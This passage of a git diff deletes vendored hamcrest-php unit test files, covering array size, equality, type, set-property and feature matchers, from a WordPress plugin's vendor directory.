-} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayWithSizeTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayWithSizeTest.php deleted file mode 100644 index 8413c896..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Array/IsArrayWithSizeTest.php +++ /dev/null @@ -1,37 +0,0 @@ -assertMatches(arrayWithSize(equalTo(3)), array(1, 2, 3), 'correct size'); - $this->assertDoesNotMatch(arrayWithSize(equalTo(2)), array(1, 2, 3), 'incorrect size'); - } - - public function testProvidesConvenientShortcutForArrayWithSizeEqualTo() - { - $this->assertMatches(arrayWithSize(3), array(1, 2, 3), 'correct size'); - $this->assertDoesNotMatch(arrayWithSize(2), array(1, 2, 3), 'incorrect size'); - } - - public function testEmptyArray() - { - $this->assertMatches(emptyArray(), array(), 'correct size'); - $this->assertDoesNotMatch(emptyArray(), array(1), 'incorrect size'); - } - - public function testHasAReadableDescription() - { - $this->assertDescription('an array with size <3>', arrayWithSize(equalTo(3))); - $this->assertDescription('an empty array', emptyArray()); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/BaseMatcherTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/BaseMatcherTest.php deleted file mode 100644 index 833e2c3e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/BaseMatcherTest.php +++ /dev/null @@ -1,23 +0,0 @@ -appendText('SOME DESCRIPTION'); - } - - public function testDescribesItselfWithToStringMethod() - { - $someMatcher = new \Hamcrest\SomeMatcher(); - $this->assertEquals('SOME DESCRIPTION', (string) $someMatcher); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Collection/IsEmptyTraversableTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Collection/IsEmptyTraversableTest.php deleted file mode 100644 index 2f15fb49..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Collection/IsEmptyTraversableTest.php +++ /dev/null @@ -1,77 +0,0 @@ -assertMatches( - emptyTraversable(), - new \ArrayObject(array()), - 'an empty traversable' - ); - } - - public function testEmptyMatcherDoesNotMatchWhenNotEmpty() - { - $this->assertDoesNotMatch( - emptyTraversable(), - new \ArrayObject(array(1, 2, 3)), - 'a non-empty traversable' - ); - } - - public function testEmptyMatcherDoesNotMatchNull() - { - $this->assertDoesNotMatch( - emptyTraversable(), - null, - 'should not match null' - ); - } - - public function testEmptyMatcherHasAReadableDescription() - { - $this->assertDescription('an empty traversable', emptyTraversable()); - } - - public function testNonEmptyDoesNotMatchNull() - { - $this->assertDoesNotMatch( - nonEmptyTraversable(), - null, - 'should not match null' - ); - } - - public function testNonEmptyDoesNotMatchWhenEmpty() - { - $this->assertDoesNotMatch( - nonEmptyTraversable(), - new \ArrayObject(array()), - 'an empty traversable' - ); - } - - public function testNonEmptyMatchesWhenNotEmpty() - { - $this->assertMatches( - nonEmptyTraversable(), - new \ArrayObject(array(1, 2, 3)), - 'a non-empty traversable' - ); - } - - public function testNonEmptyNonEmptyMatcherHasAReadableDescription() - { - $this->assertDescription('a non-empty traversable', nonEmptyTraversable()); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Collection/IsTraversableWithSizeTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Collection/IsTraversableWithSizeTest.php deleted file mode 100644 index c1c67a7a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Collection/IsTraversableWithSizeTest.php +++ /dev/null @@ -1,57 +0,0 @@ -assertMatches( - traversableWithSize(equalTo(3)), - new \ArrayObject(array(1, 2, 3)), - 'correct size' - ); - } - - public function testDoesNotMatchWhenSizeIsIncorrect() - { - $this->assertDoesNotMatch( - traversableWithSize(equalTo(2)), - new \ArrayObject(array(1, 2, 3)), - 'incorrect size' - ); - } - - public function testDoesNotMatchNull() - { - $this->assertDoesNotMatch( - traversableWithSize(3), - null, - 'should not match null' - ); - } - - public function testProvidesConvenientShortcutForTraversableWithSizeEqualTo() - { - $this->assertMatches( - traversableWithSize(3), - new \ArrayObject(array(1, 2, 3)), - 'correct size' - ); - } - - public function testHasAReadableDescription() - { - $this->assertDescription( - 'a traversable with size <3>', - traversableWithSize(equalTo(3)) - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/AllOfTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/AllOfTest.php deleted file mode 100644 index 86b8c277..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/AllOfTest.php +++ /dev/null @@ -1,56 +0,0 @@ -assertDescription( - '("good" and "bad" and "ugly")', - allOf('good', 'bad', 'ugly') - ); - } - - public function testMismatchDescriptionDescribesFirstFailingMatch() - { - $this->assertMismatchDescription( - '"good" was "bad"', - allOf('bad', 'good'), - 'bad' - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/AnyOfTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/AnyOfTest.php deleted file mode 100644 index 3d62b935..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/AnyOfTest.php +++ /dev/null @@ -1,79 +0,0 @@ -assertDescription( - '("good" or "bad" or "ugly")', - anyOf('good', 'bad', 'ugly') - ); - } - - public function testNoneOfEvaluatesToTheLogicalDisjunctionOfTwoOtherMatchers() - { - assertThat('good', not(noneOf('bad', 'good'))); - assertThat('good', not(noneOf('good', 'good'))); - assertThat('good', not(noneOf('good', 'bad'))); - - assertThat('good', noneOf('bad', startsWith('b'))); - } - - public function testNoneOfEvaluatesToTheLogicalDisjunctionOfManyOtherMatchers() - { - assertThat('good', not(noneOf('bad', 'good', 'bad', 'bad', 'bad'))); - assertThat('good', noneOf('bad', 'bad', 'bad', 'bad', 'bad')); - } - - public function testNoneOfSupportsMixedTypes() - { - $combined = noneOf( - equalTo(new \Hamcrest\Core\SampleBaseClass('good')), - equalTo(new \Hamcrest\Core\SampleBaseClass('ugly')), - equalTo(new \Hamcrest\Core\SampleSubClass('good')) - ); - - assertThat(new \Hamcrest\Core\SampleSubClass('bad'), $combined); - } - - public function testNoneOfHasAReadableDescription() - { - $this->assertDescription( - 'not ("good" or "bad" or "ugly")', - noneOf('good', 'bad', 'ugly') - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/CombinableMatcherTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/CombinableMatcherTest.php deleted file mode 100644 index 463c7543..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/CombinableMatcherTest.php +++ /dev/null @@ -1,59 +0,0 @@ -_either_3_or_4 = \Hamcrest\Core\CombinableMatcher::either(equalTo(3))->orElse(equalTo(4)); - $this->_not_3_and_not_4 = \Hamcrest\Core\CombinableMatcher::both(not(equalTo(3)))->andAlso(not(equalTo(4))); - } - - protected function createMatcher() - { - return \Hamcrest\Core\CombinableMatcher::either(equalTo('irrelevant'))->orElse(equalTo('ignored')); - } - - public function testBothAcceptsAndRejects() - { - assertThat(2, $this->_not_3_and_not_4); - assertThat(3, not($this->_not_3_and_not_4)); - } - - public function testAcceptsAndRejectsThreeAnds() - { - $tripleAnd = $this->_not_3_and_not_4->andAlso(equalTo(2)); - assertThat(2, $tripleAnd); - assertThat(3, not($tripleAnd)); - } - - public function testBothDescribesItself() - { - $this->assertEquals('(not <3> and not <4>)', (string) $this->_not_3_and_not_4); - $this->assertMismatchDescription('was <3>', $this->_not_3_and_not_4, 3); - } - - public function testEitherAcceptsAndRejects() - { - assertThat(3, $this->_either_3_or_4); - assertThat(6, not($this->_either_3_or_4)); - } - - public function testAcceptsAndRejectsThreeOrs() - { - $orTriple = $this->_either_3_or_4->orElse(greaterThan(10)); - - assertThat(11, $orTriple); - assertThat(9, not($orTriple)); - } - - public function testEitherDescribesItself() - { - $this->assertEquals('(<3> or <4>)', (string) $this->_either_3_or_4); - $this->assertMismatchDescription('was <6>', $this->_either_3_or_4, 6); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/DescribedAsTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/DescribedAsTest.php deleted file mode 100644 index 673ab41e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/DescribedAsTest.php +++ /dev/null @@ -1,36 +0,0 @@ -assertDescription('m1 description', $m1); - $this->assertDescription('m2 description', $m2); - } - - public function testAppendsValuesToDescription() - { - $m = describedAs('value 1 = %0, value 2 = %1', anything(), 33, 97); - - $this->assertDescription('value 1 = <33>, value 2 = <97>', $m); - } - - public function testDelegatesMatchingToAnotherMatcher() - { - $m1 = describedAs('irrelevant', anything()); - $m2 = describedAs('irrelevant', not(anything())); - - $this->assertTrue($m1->matches(new \stdClass())); - $this->assertFalse($m2->matches('hi')); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/EveryTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/EveryTest.php deleted file mode 100644 index 5eb153c5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/EveryTest.php +++ /dev/null @@ -1,30 +0,0 @@ -assertEquals('every item is a string containing "a"', (string) $each); - - $this->assertMismatchDescription('an item was "BbB"', $each, array('BbB')); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/HasToStringTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/HasToStringTest.php deleted file mode 100644 index e2e136dc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/HasToStringTest.php +++ /dev/null @@ -1,108 +0,0 @@ -assertMatches( - hasToString(equalTo('php')), - new \Hamcrest\Core\PhpForm(), - 'correct __toString' - ); - $this->assertMatches( - hasToString(equalTo('java')), - new \Hamcrest\Core\JavaForm(), - 'correct toString' - ); - } - - public function testPicksJavaOverPhpToString() - { - $this->assertMatches( - hasToString(equalTo('java')), - new \Hamcrest\Core\BothForms(), - 'correct toString' - ); - } - - public function testDoesNotMatchWhenToStringDoesNotMatch() - { - $this->assertDoesNotMatch( - hasToString(equalTo('mismatch')), - new \Hamcrest\Core\PhpForm(), - 'incorrect __toString' - ); - $this->assertDoesNotMatch( - hasToString(equalTo('mismatch')), - new \Hamcrest\Core\JavaForm(), - 'incorrect toString' - ); - $this->assertDoesNotMatch( - hasToString(equalTo('mismatch')), - new \Hamcrest\Core\BothForms(), - 'incorrect __toString' - ); - } - - public function testDoesNotMatchNull() - { - $this->assertDoesNotMatch( - hasToString(equalTo('a')), - null, - 'should not match null' - ); - } - - public function testProvidesConvenientShortcutForTraversableWithSizeEqualTo() - { - $this->assertMatches( - hasToString(equalTo('php')), - new \Hamcrest\Core\PhpForm(), - 'correct __toString' - ); - } - - public function testHasAReadableDescription() - { - $this->assertDescription( - 'an object with toString() "php"', - hasToString(equalTo('php')) - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsAnythingTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsAnythingTest.php deleted file mode 100644 index f68032e5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsAnythingTest.php +++ /dev/null @@ -1,29 +0,0 @@ -assertDescription('ANYTHING', anything()); - } - - public function testCanOverrideDescription() - { - $description = 'description'; - $this->assertDescription($description, anything($description)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsCollectionContainingTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsCollectionContainingTest.php deleted file mode 100644 index a3929b54..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsCollectionContainingTest.php +++ /dev/null @@ -1,91 +0,0 @@ -assertMatches( - $itemMatcher, - array('a', 'b', 'c'), - "should match list that contains 'a'" - ); - } - - public function testDoesNotMatchCollectionThatDoesntContainAnElementMatchingTheGivenMatcher() - { - $matcher1 = hasItem(equalTo('a')); - $this->assertDoesNotMatch( - $matcher1, - array('b', 'c'), - "should not match list that doesn't contain 'a'" - ); - - $matcher2 = hasItem(equalTo('a')); - $this->assertDoesNotMatch( - $matcher2, - array(), - 'should not match the empty list' - ); - } - - public function testDoesNotMatchNull() - { - $this->assertDoesNotMatch( - hasItem(equalTo('a')), - null, - 'should not match null' - ); - } - - public function testHasAReadableDescription() - { - $this->assertDescription('a collection containing "a"', hasItem(equalTo('a'))); - } - - public function testMatchesAllItemsInCollection() - { - $matcher1 = hasItems(equalTo('a'), equalTo('b'), equalTo('c')); - $this->assertMatches( - $matcher1, - array('a', 'b', 'c'), - 'should match list containing all items' - ); - - $matcher2 = hasItems('a', 'b', 'c'); - $this->assertMatches( - $matcher2, - array('a', 'b', 'c'), - 'should match list containing all items (without matchers)' - ); - - $matcher3 = hasItems(equalTo('a'), equalTo('b'), equalTo('c')); - $this->assertMatches( - $matcher3, - array('c', 'b', 'a'), - 'should match list containing all items in any order' - ); - - $matcher4 = hasItems(equalTo('a'), equalTo('b'), equalTo('c')); - $this->assertMatches( - $matcher4, - array('e', 'c', 'b', 'a', 'd'), - 'should match list containing all items plus others' - ); - - $matcher5 = hasItems(equalTo('a'), equalTo('b'), equalTo('c')); - $this->assertDoesNotMatch( - $matcher5, - array('e', 'c', 'b', 'd'), // 'a' missing - 'should not match list unless it contains all items' - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsEqualTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsEqualTest.php deleted file mode 100644 index 73e3ff07..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsEqualTest.php +++ /dev/null @@ -1,102 +0,0 @@ -_arg = $arg; - } - - public function __toString() - { - return $this->_arg; - } -} - -class IsEqualTest extends \Hamcrest\AbstractMatcherTest -{ - - protected function createMatcher() - { - return \Hamcrest\Core\IsEqual::equalTo('irrelevant'); - } - - public function testComparesObjectsUsingEqualityOperator() - { - assertThat("hi", equalTo("hi")); - assertThat("bye", not(equalTo("hi"))); - - assertThat(1, equalTo(1)); - assertThat(1, not(equalTo(2))); - - assertThat("2", equalTo(2)); - } - - public function testCanCompareNullValues() - { - assertThat(null, equalTo(null)); - - assertThat(null, not(equalTo('hi'))); - assertThat('hi', not(equalTo(null))); - } - - public function testComparesTheElementsOfAnArray() - { - $s1 = array('a', 'b'); - $s2 = array('a', 'b'); - $s3 = array('c', 'd'); - $s4 = array('a', 'b', 'c', 'd'); - - assertThat($s1, equalTo($s1)); - assertThat($s2, equalTo($s1)); - assertThat($s3, not(equalTo($s1))); - assertThat($s4, not(equalTo($s1))); - } - - public function testComparesTheElementsOfAnArrayOfPrimitiveTypes() - { - $i1 = array(1, 2); - $i2 = array(1, 2); - $i3 = array(3, 4); - $i4 = array(1, 2, 3, 4); - - assertThat($i1, equalTo($i1)); - assertThat($i2, equalTo($i1)); - assertThat($i3, not(equalTo($i1))); - assertThat($i4, not(equalTo($i1))); - } - - public function testRecursivelyTestsElementsOfArrays() - { - $i1 = array(array(1, 2), array(3, 4)); - $i2 = array(array(1, 2), array(3, 4)); - $i3 = array(array(5, 6), array(7, 8)); - $i4 = array(array(1, 2, 3, 4), array(3, 4)); - - assertThat($i1, equalTo($i1)); - assertThat($i2, equalTo($i1)); - assertThat($i3, not(equalTo($i1))); - assertThat($i4, not(equalTo($i1))); - } - - public function testIncludesTheResultOfCallingToStringOnItsArgumentInTheDescription() - { - $argumentDescription = 'ARGUMENT DESCRIPTION'; - $argument = new \Hamcrest\Core\DummyToStringClass($argumentDescription); - $this->assertDescription('<' . $argumentDescription . '>', equalTo($argument)); - } - - public function testReturnsAnObviousDescriptionIfCreatedWithANestedMatcherByMistake() - { - $innerMatcher = equalTo('NestedMatcher'); - $this->assertDescription('<' . (string) $innerMatcher . '>', equalTo($innerMatcher)); - } - - public function testReturnsGoodDescriptionIfCreatedWithNullReference() - { - $this->assertDescription('null', equalTo(null)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsIdenticalTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsIdenticalTest.php deleted file mode 100644 index 9cc27946..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsIdenticalTest.php +++ /dev/null @@ -1,30 +0,0 @@ -assertDescription('"ARG"', identicalTo('ARG')); - } - - public function testReturnsReadableDescriptionFromToStringWhenInitialisedWithNull() - { - $this->assertDescription('null', identicalTo(null)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsInstanceOfTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsInstanceOfTest.php deleted file mode 100644 index f74cfdb5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsInstanceOfTest.php +++ /dev/null @@ -1,51 +0,0 @@ -_baseClassInstance = new \Hamcrest\Core\SampleBaseClass('good'); - $this->_subClassInstance = new \Hamcrest\Core\SampleSubClass('good'); - } - - protected function createMatcher() - { - return \Hamcrest\Core\IsInstanceOf::anInstanceOf('stdClass'); - } - - public function testEvaluatesToTrueIfArgumentIsInstanceOfASpecificClass() - { - assertThat($this->_baseClassInstance, anInstanceOf('Hamcrest\Core\SampleBaseClass')); - assertThat($this->_subClassInstance, anInstanceOf('Hamcrest\Core\SampleSubClass')); - assertThat(null, not(anInstanceOf('Hamcrest\Core\SampleBaseClass'))); - assertThat(new \stdClass(), not(anInstanceOf('Hamcrest\Core\SampleBaseClass'))); - } - - public function testEvaluatesToFalseIfArgumentIsNotAnObject() - { - assertThat(null, not(anInstanceOf('Hamcrest\Core\SampleBaseClass'))); - assertThat(false, not(anInstanceOf('Hamcrest\Core\SampleBaseClass'))); - assertThat(5, not(anInstanceOf('Hamcrest\Core\SampleBaseClass'))); - assertThat('foo', not(anInstanceOf('Hamcrest\Core\SampleBaseClass'))); - assertThat(array(1, 2, 3), not(anInstanceOf('Hamcrest\Core\SampleBaseClass'))); - } - - public function testHasAReadableDescription() - { - $this->assertDescription('an instance of stdClass', anInstanceOf('stdClass')); - } - - public function testDecribesActualClassInMismatchMessage() - { - $this->assertMismatchDescription( - '[Hamcrest\Core\SampleBaseClass] ', - anInstanceOf('Hamcrest\Core\SampleSubClass'), - $this->_baseClassInstance - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsNotTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsNotTest.php deleted file mode 100644 index 09d4a652..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsNotTest.php +++ /dev/null @@ -1,31 +0,0 @@ -assertMatches(not(equalTo('A')), 'B', 'should match'); - $this->assertDoesNotMatch(not(equalTo('B')), 'B', 'should not match'); - } - - public function testProvidesConvenientShortcutForNotEqualTo() - { - $this->assertMatches(not('A'), 'B', 'should match'); - $this->assertMatches(not('B'), 'A', 'should match'); - $this->assertDoesNotMatch(not('A'), 'A', 'should not match'); - $this->assertDoesNotMatch(not('B'), 'B', 'should not match'); - } - - public function testUsesDescriptionOfNegatedMatcherWithPrefix() - { - $this->assertDescription('not a value greater than <2>', not(greaterThan(2))); - $this->assertDescription('not "A"', not('A')); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsNullTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsNullTest.php deleted file mode 100644 index bfa42554..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsNullTest.php +++ /dev/null @@ -1,20 +0,0 @@ -assertDescription('sameInstance("ARG")', sameInstance('ARG')); - } - - public function testReturnsReadableDescriptionFromToStringWhenInitialisedWithNull() - { - $this->assertDescription('sameInstance(null)', sameInstance(null)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsTest.php deleted file mode 100644 index bbd848b9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsTest.php +++ /dev/null @@ -1,33 +0,0 @@ -assertMatches(is(equalTo(true)), true, 'should match'); - $this->assertMatches(is(equalTo(false)), false, 'should match'); - $this->assertDoesNotMatch(is(equalTo(true)), false, 'should not match'); - $this->assertDoesNotMatch(is(equalTo(false)), true, 'should not match'); - } - - public function testGeneratesIsPrefixInDescription() - { - $this->assertDescription('is ', is(equalTo(true))); - } - - public function testProvidesConvenientShortcutForIsEqualTo() - { - $this->assertMatches(is('A'), 'A', 'should match'); - $this->assertMatches(is('B'), 'B', 'should match'); - $this->assertDoesNotMatch(is('A'), 'B', 'should not match'); - $this->assertDoesNotMatch(is('B'), 'A', 'should not match'); - $this->assertDescription('is "A"', is('A')); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsTypeOfTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsTypeOfTest.php deleted file mode 100644 index 3f48dea7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/IsTypeOfTest.php +++ /dev/null @@ -1,45 +0,0 @@ -assertDescription('a double', typeOf('double')); - $this->assertDescription('an integer', typeOf('integer')); - } - - public function testDecribesActualTypeInMismatchMessage() - { - $this->assertMismatchDescription('was null', typeOf('boolean'), null); - $this->assertMismatchDescription('was an integer <5>', typeOf('float'), 5); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/SampleBaseClass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/SampleBaseClass.php deleted file mode 100644 index c953e7cd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/SampleBaseClass.php +++ /dev/null @@ -1,18 +0,0 @@ -_arg = $arg; - } - - public function __toString() - { - return $this->_arg; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/SampleSubClass.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/SampleSubClass.php deleted file mode 100644 index 822f1b64..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/SampleSubClass.php +++ /dev/null @@ -1,6 +0,0 @@ -_instanceProperty); - } - - protected function createMatcher() - { - return \Hamcrest\Core\Set::set('property_name'); - } - - public function testEvaluatesToTrueIfArrayPropertyIsSet() - { - assertThat(array('foo' => 'bar'), set('foo')); - } - - public function testNegatedEvaluatesToFalseIfArrayPropertyIsSet() - { - assertThat(array('foo' => 'bar'), not(notSet('foo'))); - } - - public function testEvaluatesToTrueIfClassPropertyIsSet() - { - self::$_classProperty = 'bar'; - assertThat('Hamcrest\Core\SetTest', set('_classProperty')); - } - - public function testNegatedEvaluatesToFalseIfClassPropertyIsSet() - { - self::$_classProperty = 'bar'; - assertThat('Hamcrest\Core\SetTest', not(notSet('_classProperty'))); - } - - public function testEvaluatesToTrueIfObjectPropertyIsSet() - { - $this->_instanceProperty = 'bar'; - assertThat($this, set('_instanceProperty')); - } - - public function testNegatedEvaluatesToFalseIfObjectPropertyIsSet() - { - $this->_instanceProperty = 'bar'; - assertThat($this, not(notSet('_instanceProperty'))); - } - - public function testEvaluatesToFalseIfArrayPropertyIsNotSet() - { - assertThat(array('foo' => 'bar'), not(set('baz'))); - } - - public function testNegatedEvaluatesToTrueIfArrayPropertyIsNotSet() - { - assertThat(array('foo' => 'bar'), notSet('baz')); - } - - public function testEvaluatesToFalseIfClassPropertyIsNotSet() - { - assertThat('Hamcrest\Core\SetTest', not(set('_classProperty'))); - } - - public function testNegatedEvaluatesToTrueIfClassPropertyIsNotSet() - { - assertThat('Hamcrest\Core\SetTest', notSet('_classProperty')); - } - - public function testEvaluatesToFalseIfObjectPropertyIsNotSet() - { - assertThat($this, not(set('_instanceProperty'))); - } - - public function testNegatedEvaluatesToTrueIfObjectPropertyIsNotSet() - { - assertThat($this, notSet('_instanceProperty')); - } - - public function testHasAReadableDescription() - { - $this->assertDescription('set property foo', set('foo')); - $this->assertDescription('unset property bar', notSet('bar')); - } - - public function testDecribesPropertySettingInMismatchMessage() - { - $this->assertMismatchDescription( - 'was not set', - set('bar'), - array('foo' => 'bar') - ); - $this->assertMismatchDescription( - 'was "bar"', - notSet('foo'), - array('foo' => 'bar') - ); - self::$_classProperty = 'bar'; - $this->assertMismatchDescription( - 'was "bar"', - notSet('_classProperty'), - 'Hamcrest\Core\SetTest' - ); - $this->_instanceProperty = 'bar'; - $this->assertMismatchDescription( - 'was "bar"', - notSet('_instanceProperty'), - $this - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/FeatureMatcherTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/FeatureMatcherTest.php deleted file mode 100644 index 1b023049..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/FeatureMatcherTest.php +++ /dev/null @@ -1,73 +0,0 @@ -_result = $result; - } - public function getResult() - { - return $this->_result; - } -} - -/* Test-specific subclass only */ -class ResultMatcher extends \Hamcrest\FeatureMatcher -{ - public function __construct() - { - parent::__construct(self::TYPE_ANY, null, equalTo('bar'), 'Thingy with result', 'result'); - } - public function featureValueOf($actual) - { - if ($actual instanceof \Hamcrest\Thingy) { - return $actual->getResult(); - } - } -} - -class FeatureMatcherTest extends \Hamcrest\AbstractMatcherTest -{ - - private $_resultMatcher; - - protected function setUp() - { - $this->_resultMatcher = $this->_resultMatcher(); - } - - protected function createMatcher() - { - return $this->_resultMatcher(); - } - - public function testMatchesPartOfAnObject() - { - $this->assertMatches($this->_resultMatcher, new \Hamcrest\Thingy('bar'), 'feature'); - $this->assertDescription('Thingy with result 